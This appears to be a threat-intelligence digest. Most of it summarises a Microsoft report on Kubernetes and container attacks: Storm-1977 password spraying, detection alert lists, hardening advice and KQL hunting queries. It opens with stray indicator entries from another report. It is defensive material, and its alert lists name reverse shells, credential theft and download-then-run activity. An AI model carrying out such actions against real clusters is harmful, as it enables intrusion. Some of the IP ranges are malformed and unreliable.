More hunting queries are available for Trend Vision One customers with Threat Insights Entitlement.

IOC

IP Ranges

237.84.0/24
237.87.0/24
234.227.0/24
43.136.0/24

IP Addresses

Domains

BlockNovas.com
ianxinxian.com

(Note: No file hashes were explicitly listed in the provided text).

Original link: https://www.trendmicro.com/en_us/research/25/d/russian-infrastructure-north-korean-cybercrime.html

Understanding the threat landscape for Kubernetes and containerized assets

Summary

The adoption of containerized environments, including Kubernetes clusters, has introduced unique security challenges due to their dynamic nature, which can complicate detection and pinpointing the source of security incidents. This provides opportunities for threat actors to remain undetected. Microsoft Threat Intelligence highlights that attackers are increasingly leveraging unsecured workload identities to gain initial access to resources, including containerized assets, noting that a significant percentage of these identities are inactive and thus potential attack vectors. The overall threat landscape for Kubernetes encompasses various attack vectors, ranging from compromised accounts and vulnerable configurations to application and node-level exploitation. A key strategic concern is the potential for attackers to achieve significant control, including cluster takeover, by exploiting misconfigurations or compromised credentials. Microsoft continues to monitor these evolving threats and has contributed to resources like the MITRE ATT&CK for Containers matrix to help organizations understand and defend against attacks targeting this critical infrastructure.

Technical Details

Securing containerized environments is complex, requiring attention across the entire lifecycle, from code development through deployment and runtime. Threat actors exploit several vectors to compromise these environments. Compromised cloud credentials are a primary concern, particularly when Kubernetes clusters are deployed in public clouds like Azure Kubernetes Service (AKS) or Google Kubernetes Engine (GKE). Attackers gaining access to these credentials can reach the cluster’s management layer, potentially leading to a full cluster takeover. Vulnerable or misconfigured container images that are not regularly updated also present exploitation opportunities. Furthermore, environment misconfigurations, such as exposed management interfaces or insufficient authentication/authorization controls for the Kubernetes API, can allow attackers to take down servers, deploy malicious containers, or hijack the entire cluster. Beyond the core cluster, app-level vulnerabilities (e.g., SQL injection, XSS, RFI) and node-level attacks (exploiting vulnerable code on host machines, open SSH interfaces) can provide initial access, with the risk of pod escape allowing movement from a compromised container to the node or other pods. Finally, insecure networking between containers and the external world can expose environments to malicious traffic.

Microsoft Threat Intelligence observed a specific case study (tracked as Storm-1977) involving AzureChecker threats launching password spray attacks against cloud tenants. The tool AzureChecker.exe was used, connecting to sac-auth[.]nodefunction[.]vip to download AES-encrypted target lists. It also accepted a file, accounts.txt, containing username/password combinations, which the threat actor posted to target tenants for validation. In a successful compromise instance, the threat actor leveraged a guest account to create a new resource group within the compromised subscription. Within this resource group, over 200 containers were created and subsequently used for cryptomining activity.

Detection of threats in Kubernetes environments can be performed at various levels. Microsoft Defender for Cloud provides security alerts at both the cluster and node levels by monitoring the control plane (API server) and the workload itself. Examples of detected activities include:

Exposed services (Postgres, Kubeflow, Kubernetes Dashboard, Redis).
Attempts to create new Linux namespaces or modify CoreDNS.
Clearing history files or suspicious file timestamp modification.
Abnormal activity related to managed identities or Kubernetes service accounts.
Uncommon connection attempts.
Behavior consistent with common Linux bots.
Commands within containers running with high privileges or containers running in privileged mode.
Containers with sensitive volume mounts.
Creation of admission webhook configurations or new high privileges roles.
Detected file downloads from malicious or suspicious sources.
Suspicious use of commands like nohup or useradd.
Activities related to digital currency mining.
Docker build operations on a node.
Indicators associated with DDOS toolkits.
Kubernetes API requests from proxy IP addresses or deletion of Kubernetes events.
Detection of Kubernetes penetration testing tools.
New containers in the kube-system namespace.
Possible attack tools, backdoors, command line exploitation, credential access tools.
Possible Cryptocoinminer download or related behavior.
Possible log tampering or password change attempts.
Potential port forwarding or reverse shells.
Processes accessing SSH authorized keys file unusually.
Role binding to the cluster-admin role.
Security-related process termination.
SSH server running inside a container.
Burst of reconnaissance commands.
Suspicious Download Then Run activity.
Access to kubelet kubeconfig file or cloud metadata service.
MITRE Caldera agent detection. Microsoft Defender for Endpoint focuses on suspicious behaviors on the container host endpoints, such as stealing local credentials for cloud access, downloading/running malicious images, and privilege escalation from containers to hosts. Microsoft Defender External Attack Surface Management identifies vulnerable or misconfigured Docker and Kubernetes instances, detecting issues like an open Docker Daemon API Service or an unauthenticated Kubelet API. Defender XDR Advanced Hunting allows for querying data sources like Azure Resource Manager (ARM) logs and Kubernetes audit logs (CloudAuditEvents table) for investigation.

Countries

The source mentions Kubernetes clusters deployed in public clouds such as Azure and Google Cloud Platform (GCP), which are globally available. It also specifically mentions observed attacks against cloud tenants in the education sector. The source does not explicitly list specific targeted countries.

Industries

The source explicitly mentions observed attacks against cloud tenants in the education sector.

Recommendations

Several best practices are recommended to secure containerized environments:

Secure code prior to deployment:
- Scan container images for vulnerabilities and misconfigurations.
- Gain visibility into the security posture of the CI/CD platform.
- Restrict access to DevOps tooling.
- Use a secret store instead of hard-coding secrets.
- Use hardened DevOps workstations.
Secure container deployment and runtime (Deployment Phase):
- Ensure containers are immutable, rebuilding images for updates instead of patching running containers.
- Leverage Admission Controllers to enforce policies, such as preventing deployment from untrusted registries, ensuring minimal Pod Security Standard alignment, and limiting resource usage (e.g., using Azure Policy Add-On for Kubernetes).
- Gate deployments of vulnerable images by running vulnerability scans and blocking images with high or critical severity issues.
Secure container deployment and runtime (Runtime Phase):
- Monitor running containers for new vulnerabilities.
- Monitor each node, pod, and container for anomalous or malicious activity.
- Look for malicious API calls and unusual activity using a monitoring system.
Secure user accounts and permissions:
- Use strong authentication for sensitive interfaces exposed to the internet (e.g., OpenID Connect for Kubeflow/Argo workloads).
- Use strong authentication methods for the Kubernetes API, such as Entra ID authentication in AKS, avoiding basic authentication.
- Avoid using the read-only endpoint of Kubelet on port 10255.
- Implement multifactor authentication (MFA).
- Configure Kubernetes role-based access controls (RBAC) for least privilege for users and service accounts. This includes using RoleBinding over ClusterAdminBinding for namespace-specific access, avoiding the system:master and system:unauthenticated groups, limiting wildcard permissions, avoiding escalation/bind permissions, limiting CSR/certificate permissions, limiting service account/token creation rights, and controlling webhook configurations.
- Limit permissions to call cloud provider APIs that retrieve/generate Kubernetes credentials.
- Apply least privilege to accounts with kubeconfig access or enable Entra ID authentication to AKS and disable the local admin account to avoid using kubeconfig.
Secure container images:
- Secure the CI/CD environment by restricting access, enforcing RBAC and governed processes like pull-request approval and branch policies.
- Apply an image assurance policy to evaluate images for vulnerabilities, malware, and secrets, potentially signing images for downstream validation.
- Take and store data backups from pod-mounted volumes, ensuring backups are hardened and separate from the Kubernetes environment.
Restrict network traffic:
- Restrict access to the Kubernetes API server using intrusion detection signatures, network policies, WAFs, or cloud provider firewalls.
- Implement a Next-Generation Firewall (NGFW) like Azure Firewall or integrate third-party firewalls.
- Use Kubernetes network policies to control inter-pod communication.
- Adapt a network intrusion prevention solution for the Kubernetes environment.
- Enable Just In Time (JIT) access to the API server using Microsoft Entra conditional access or OpenID authentication.
- Limit access to services over the network, avoiding insecure exposure of sensitive interfaces (e.g., Weave Scope, Apache NiFi). Use IP restriction (loadBalancerSourceRanges) for services exposed via LoadBalancers when possible.

Hunting methods

Several methods and queries are provided for hunting in Kubernetes environments:

Utilize the open-source tool KubiScan to scan clusters for risky permissions and users. The results can guide RBAC management and be used in incident response.
Leverage Defender XDR Advanced Hunting using Azure Resource Manager (ARM) logs and Kubernetes audit logs (available in the CloudAuditEvents table). Custom detection rules can be created from hunting queries in the Defender XDR portal.
Look for specific ASIM alerts from Microsoft Defender External Attack Surface Management, such as “ASI: Open Docker Daemon API Service” and “ASI: Unauthenticated Kubelet API”.

KQL Query: Privileged pod deployment

CloudAuditEvents
| where Timestamp > ago(1d)
| where DataSource == "Azure Kubernetes Service"
| where OperationName == "create"
| where RawEventData.ObjectRef.resource == "pods" and isnull(RawEventData.ObjectRef.subresource)
| where RawEventData.ResponseStatus.code startswith "20"
| extend PodName = RawEventData.RequestObject.metadata.name
| extend PodNamespace = RawEventData.ObjectRef.namespace
| mv-expand Container = RawEventData.RequestObject.spec.containers
| extend ContainerName = Container.name
| where Container.securityContext.privileged == "true"
| extend Username = RawEventData.User.username
| project Timestamp, AzureResourceId , OperationName, IPAddress, UserAgent, PodName, PodNamespace, ContainerName, Username

Logic: This KQL query for Defender XDR searches the CloudAuditEvents table for events within the last day (ago(1d)). It filters for events sourced from “Azure Kubernetes Service” (DataSource == "Azure Kubernetes Service") where the operation was a “create” operation (OperationName == "create") targeting “pods” resources (RawEventData.ObjectRef.resource == "pods") without a subresource (isnull(RawEventData.ObjectRef.subresource)). It specifically looks for successful creation events where the response code starts with “20” (RawEventData.ResponseStatus.code startswith "20"). The query then expands the containers list within the request object and filters for any container where the securityContext.privileged field is explicitly set to "true", indicating a privileged container deployment. Finally, it projects relevant fields like timestamp, resource ID, operation, IP address, user agent, pod/container names, and the username performing the action.

KQL Query: Exec command

CloudAuditEvents
| where Timestamp > ago(1d)
| where DataSource == "Azure Kubernetes Service"
| where OperationName == "create"
| where RawEventData.ObjectRef.resource == "pods" and RawEventData.ResponseStatus.code == 101
  | where RawEventData.ObjectRef.namespace == "kube-system"
| where RawEventData.ObjectRef.subresource == "exec"
| where RawEventData.ResponseStatus.code == 101
| extend RequestURI = tostring(RawEventData.RequestURI)
| extend PodName = tostring(RawEventData.ObjectRef.name)
| extend PodNamespace = tostring(RawEventData.ObjectRef.namespace)
| extend Username = tostring(RawEventData.User.username)
| where PodName !startswith "tunnelfront-" and PodName !startswith "konnectivity-" and PodName !startswith "aks-link"
| extend Commands =  extract_all(@"command=([^\&]*)", RequestURI)
| extend ParsedCommand = url_decode(strcat_array(Commands, " "))
| project Timestamp, AzureResourceId , OperationName, IPAddress, UserAgent, PodName, PodNamespace,  Username, ParsedCommand

Logic: This KQL query for Defender XDR searches CloudAuditEvents within the last day from “Azure Kubernetes Service” for “create” operations targeting “pods”. It specifically filters for events related to the "exec" subresource (RawEventData.ObjectRef.subresource == "exec") and a successful status code of 101, which is indicative of an exec connection. It narrows the focus to the "kube-system" namespace (RawEventData.ObjectRef.namespace == "kube-system"). The query then excludes specific known benign pods (tunnelfront-, konnectivity-, aks-link) to reduce false positives. It extracts command arguments from the RequestURI using a regex and URL-decodes them. Finally, it projects fields including the timestamp, resource ID, operation, IP/UserAgent of the requestor, pod/namespace names, username, and the parsed command executed.

KQL Query: Cluster-admin role binding

CloudAuditEvents
| where Timestamp > ago(1d)
| where OperationName == "create"
| where RawEventData.ObjectRef.resource == "clusterrolebindings"
| where RawEventData.ResponseStatus.code startswith "20"
| where RawEventData.RequestObject.roleRef.name == "cluster-admin"
| mv-expand Subject = RawEventData.RequestObject.subjects
| extend SubjectName = tostring(Subject.name)
| extend SubjectKind = tostring(Subject["kind"])
 | extend BindingName = tostring(RawEventData.ObjectRef.name)
| extend ActionTakenBy = tostring(RawEventData.User.username)
| where ActionTakenBy != "acsService" //Remove FP
| project Timestamp, AzureResourceId , OperationName, ActionTakenBy, IPAddress, UserAgent, BindingName, SubjectName, SubjectKind

Logic: This KQL query for Defender XDR searches CloudAuditEvents within the last day for “create” operations (OperationName == "create") specifically targeting "clusterrolebindings" resources (RawEventData.ObjectRef.resource == "clusterrolebindings"). It filters for successful creation events with a response code starting with “20”. The key filter identifies events where the roleRef.name in the request object is "cluster-admin", indicating that a binding to the highly privileged cluster-admin role is being created. It then expands the subjects list within the request object to identify who or what is being granted this role. A filter is included to remove known false positives like "acsService". Finally, it projects fields including the timestamp, resource ID, operation, the user performing the action, IP/UserAgent, the name of the binding created, and the name and kind of the subject being bound to the role.

IOC

Domains

sac-auth[.]nodefunction[.]vip

(Note: The provided source does not explicitly list IP addresses or file hashes.)

Original link: https://www.microsoft.com/en-us/security/blog/2025/04/23/understanding-the-threat-landscape-for-kubernetes-and-containerized-assets/